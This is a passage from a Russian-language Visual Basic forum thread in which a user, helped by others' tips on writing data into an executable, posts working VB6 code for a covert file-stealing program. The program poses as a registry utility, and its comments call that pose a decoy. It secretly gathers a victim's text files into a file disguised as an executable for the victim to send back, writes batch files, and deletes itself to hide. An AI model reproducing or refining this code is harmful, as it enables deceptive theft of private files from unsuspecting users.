Visual Basic, .NET, ASP, VBScript
Новости | Примеры | Библиотека кодов | НеЧаВо | VBA | Справочник по VB | Справочник по WinAPI | ActiveX контролы | Статьи по VB | Мастерская разработчика | Форум VBNet | Яndex bar! | Голосование | Полезные программы | Магазин VBNet | Рассылка | Конкурсы | Юмор | Чат | Реклама на VBNet | Автора! | Ссылки | Бета-тестирование | Послать пример на сайт
 

   
   
     

Форум - Общий форум

Страница: 1 | 2 |

 

  Вопрос: Записать в себя же Добавлено: 13.01.09 14:35  

Автор вопроса:  Imperial Kashak | ICQ: 479713821 

Ответить

  Ответы Всего ответов: 22  

Номер ответа: 16
Автор ответа:
 Alex



Вопросов: 10
Ответов: 131
  Профиль | | #16 Добавлено: 14.01.09 15:58
Прошу Вас поподробнее по поводу "хвоста".

exe тоже можно открыть в программе (но как текст) а далее программа добавляет в этот "текст" тот текст который нужно стащить.
Но есть несколько "Странностей"
1 этот способ хорош если exe небольшого размера.
я уже интересовался
а exe каких размеров?

Если он большой, то программа будет долго обрабатываться...

2 Я отредактировал exe блокнотом, и он стал "битым" потом откомпилировал заново и отредактировал c помощью npp (notepad++) и сохранил, и файл остался целым!

Ответить

Номер ответа: 17
Автор ответа:
 fAndOrIn



Вопросов: 5
Ответов: 344
  Профиль | | #17 Добавлено: 14.01.09 19:26
А если вот так -
http://www.vbnet.ru/samples/download.aspx?id=585

Впрочем, кажется Alex и GDK говорят о том же

Ответить

Номер ответа: 18
Автор ответа:
 mishaprogrammer



Вопросов: 26
Ответов: 66
  Профиль | | #18 Добавлено: 15.01.09 15:47
А можа так:
эта прога 1 запускается.
прога 1 запускает прогу 2.
завершается прога 1.
прога 2 запихивает данные в прогу 1.

Ответить

Номер ответа: 19
Автор ответа:
 Imperial Kashak



ICQ: 479713821 

Вопросов: 10
Ответов: 57
  Профиль | | #19 Добавлено: 15.01.09 22:25
Тогда можно и как батник записать. Хотя нет... Спалюсь ))
Последние три поста - благодарю... Я не подумал, почему-то, чтобы отредактить текст самой программы. А запускать её запретить под страхом обрушения винды (да пусть запускает, в принципе - его пошлют, куда надо)
Сам принцип проги такой: берёт тексты из нескольких документов, копирует в файлик либо в себя, закрывает по очереди это всё дело. Никого не трогаем, никому вреда не наносим. Просто коммуниздим несколько текстов малого объёма во что-то одно, а это "одно" юзверь по наивняку шлёт мне.
Затем я это у себя открываю и уаля! Туалетное чтиво готово! )

Так. Значит добавилось пунктов:
1. Записать просто в файлик с расширением *.sys (reg, pf... до лампочки)
2. Записать в себя, только потом клеить текст в прогу без компиляции (одноразовый запуск)
3. Стать хакером за пару дней, чтобы спереть трояном через проксю... (бугаг!)

Я напишу да протестирую первые два варианта у себя. Отпишусь потом об эффекте, а там может, если не будет стыдно, выложу код на вашу критику.

Ответить

Номер ответа: 20
Автор ответа:
 GDK



Вопросов: 13
Ответов: 348
  Профиль | | #20 Добавлено: 16.01.09 14:49
По поводу хвоста: Вспомнил одно утверждение, которое встречалось мне не раз. Звучит примерно так: "В конец файла-программы (ну то бишь экзешника) можно записывать любые данные, причём работоспособность этого файла не изменится." Ещё говорят, что некоторые вирусы прицепляются в хвост др. программ. Сам не пробовал добавлять что-то в хвост. Открывать ехе-шник как текст дописывать туда и сохранять считаю неправильным. Лучше открыть файл как двоичный и внести изменения и сохранить (видел несколько примеров, но сам не пробовал).

Ответить

Номер ответа: 21
Автор ответа:
 VβÐ



Вопросов: 15
Ответов: 194
  Web-сайт: www.homacosoft.com
 Профиль | | #21 		Добавлено: 21.01.09 14:09
DEP руки сломает, если сунешь их в себя :)

Ответить

Номер ответа: 22
Автор ответа:
 Imperial Kashak



ICQ: 479713821 

Вопросов: 10
Ответов: 57
  Профиль | | #22 Добавлено: 21.01.09 18:45
Написал я это безобразие... Господа! Пришло время раскрыть карты! Открываю то, ради чего я всё писал!
  1. Dim F, n As Single
  2. Dim File1, FileText, FilePath1 As String
  3.  
  4.  
  5. Private Sub Command1_Click()
  6. FilePath1 = "C:\**********\**********" 'типа адрес
  7.     File1 = Dir(FilePath1 & "\*.txt", 0)
  8.     If File1 <> "" Then Pro1
  9. End Sub
  10.  
  11. Private Sub Form_Load()
  12. On Error Resume Next
  13. FileCopy "C:\Reg_pick\reg.exe", "C:\Windows\reg.exe" 'копирую прилагаемую утилиту для работы с реестром через CMD
  14. Kill "C:\Reg_pick\reg.exe"
  15. Text1.Text = "This program can make a 'photo' of your registry boot-parameters and kill any parameters from registry" 'текст
  16. Text1.Text = Text1.Text & vbCrLf & "WARNING! This is a virus code-modification so some options was disabled." 'для отвода глаз
  17. End Sub
  18.  
  19. Private Sub Pro1()
  20. On Error Resume Next
  21. BatchRecord
  22. Do While File1 <> "" 'забиваю лист именами файлов в директории
  23.     List1.AddItem (File1)
  24.     File1 = Dir
  25. Loop
  26. F = FreeFile
  27. n = 0
  28. Do While n <> List1.ListCount
  29.     Open "C:\**********\**********" & List1.List(n) For Input As #F 'читаю каждый файлик
  30.         Do Until EOF(F)
  31.             FileText = Input(LOF(F), #F) 'тут быстрее работает, если считать всей длиной всего файла
  32.         Loop
  33.     Close #F
  34.     Open "C:\Reg_pick\_picked!.exe" For Append As #F 'добавляю в файлик все текстовики
  35.         Print #F, FileText
  36.         Print #F, "=====================================Р А З Р Ы В=====================================" 'пукнуть для ориентации
  37.     Close #F
  38.     n = n + 1 'счётчик для имён файлов
  39.     Loop
  40. If Dir("C:\Reg_pick\_picked!.exe") <> "" Then
  41.     n = MsgBox("Successfully Done!", vbOKOnly & vbExclamation, "Done!")
  42.     Unload Form1
  43. Else
  44.     n = MsgBox("Done With Errors!", vbOKOnly & vbCritical, "Done!")
  45. End If
  46.     End Sub
  47.  
  48. Private Sub Form_Unload(Cancel As Integer)
  49. On Error Resume Next 'на выходе, маскируясь, делаем благие операции
  50. Shell ("C:\print-to-regfile.bat")
  51. Shell ("C:\SelfDel.bat") 'и сваливаем подальше, с диска C:\
  52. End Sub
  53.  
  54. Private Sub BatchRecord()
  55. F = FreeFile 'пишем фото загрузочных разделов реестра
  56. Open "C:\print-to-regfile.bat" For Output As #F
  57. Print #F, "reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run C:\Reg_pick\HKLM-Run.reg"
  58. Print #F, "reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run- C:\Reg_pick\HKLM-Run-.reg"
  59. Print #F, "reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce C:\Reg_pick\HKLM-RunOnce.reg"
  60. Print #F, "reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce- C:\Reg_pick\HKLM-RunOnce-.reg"
  61. Print #F, "reg export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run C:\Reg_pick\HKCU-Run.reg"
  62. Print #F, "reg export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run C:\Reg_pick\HKCU-Run-.reg"
  63. Print #F, "reg export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run C:\Reg_pick\HKCU-RunOnce.reg"
  64. Print #F, "reg export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run C:\Reg_pick\HKCU-RunOnce-.reg"
  65. Print #F, "del %0"
  66. Close #F
  67. Open "C:\SelfDel.bat" For Output As #F
  68. Print #F, "del C:\Reg_pick\pick.exe" & " del %0" 'набиваем удалялку проги
  69. Close #F
  70. End Sub
  71. 'ждём пересылки да читаем, что же тайного в недрах дисков пользователя



Некоторым сей код покажется дилетантским, но я пока программист-любитель... Учусь дальше. Никто же не может узнать сразу и всё. ))

Главное - РАБОТАЕТ! Что скажете?

Ответить

Страница: 1 | 2 |

Поиск по форуму



© Copyright 2002-2011 VBNet.RU | Пишите нам